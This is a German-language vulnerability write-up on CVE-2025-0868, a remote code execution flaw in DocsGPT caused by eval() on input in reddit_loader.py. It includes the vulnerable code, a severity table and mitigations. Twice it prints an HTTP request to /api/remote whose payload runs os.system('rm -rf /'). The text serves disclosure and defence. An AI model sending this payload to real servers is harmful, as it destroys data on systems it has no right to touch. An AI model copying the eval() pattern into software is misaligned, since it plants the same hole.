
Detaillierter Penetrationstest-Bericht und Exploit-Demonstration für CVE-2025-0868, eine kritische RCE in DocsGPT durch unsicheres eval(), einschließlich Laboraufbau, Payload-Erstellung und Minderungsstrategien.
Am 20. Februar 2025 wurde eine kritische Remote-Code-Execution-Schwachstelle (CVE-2025-0868) in der Open-Source-Bibliothek DocsGPT offengelegt, die durch unsichere Verwendung von eval() beim Parsen von JSON-Payloads verursacht wird.
Wichtige Details:
Diese Schwachstelle ermöglicht es Angreifern, über den /api/remote-Endpunkt beliebigen Python-Code auszuführen. DocsGPT ist ein Open-Source-Tool für generative KI, mit dem Projektdokumentationen mithilfe von GPT-Modellen abgefragt werden können.
| Kategorie | Details |
|---|---|
| CVE-ID | CVE-2025-0868 |
| Betroffene Software | DocsGPT v0.8.1 – v0.12.0 |
| Schwachstellentyp | Remote Code Execution (RCE) |
| Angriffsvektor | Netzwerkbasiert (HTTP-Anfrage an /api/remote) |
| Grundursache | Unsichere Verwendung von eval() bei nicht vertrauenswürdiger JSON-Eingabe |
| Auswirkung | Vollständige Kompromittierung des Servers (beliebige Befehlsausführung) |
| CWE-Zuordnung | CWE-77: Unzureichende Neutralisierung spezieller Elemente in einem Befehl |
Vektor: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Basis-Score: 9.3 (KRITISCH)
Ausnutzbarkeits-Metriken:
Auswirkungs-Metriken:
Die Schwachstelle existiert in reddit_loader.py, wo Benutzereingaben mithilfe der unsicheren eval()-Funktion verarbeitet werden:
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
Dies ermöglicht einem Angreifer, bösartigen Python-Code in JSON-Feldern auszuführen: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
Um diese Schwachstelle auszunutzen, haben wir die verwundbare Umgebung und einen sicheren Arbeitsbereich erstellt mit:
Wir haben ein Python-Skript entwickelt, das Remote Code Execution (RCE) ausführt, indem es eine schädliche Payload an den /api/remote-Endpunkt sendet und so die unsichere Verwendung von eval() ausnutzt.
/api/remote-Endpunkt./api/remote senden.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Auf DocsGPT v0.12.1 und spätere Versionen aktualisieren
eval() durch json.loads() ersetzen.
Link:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9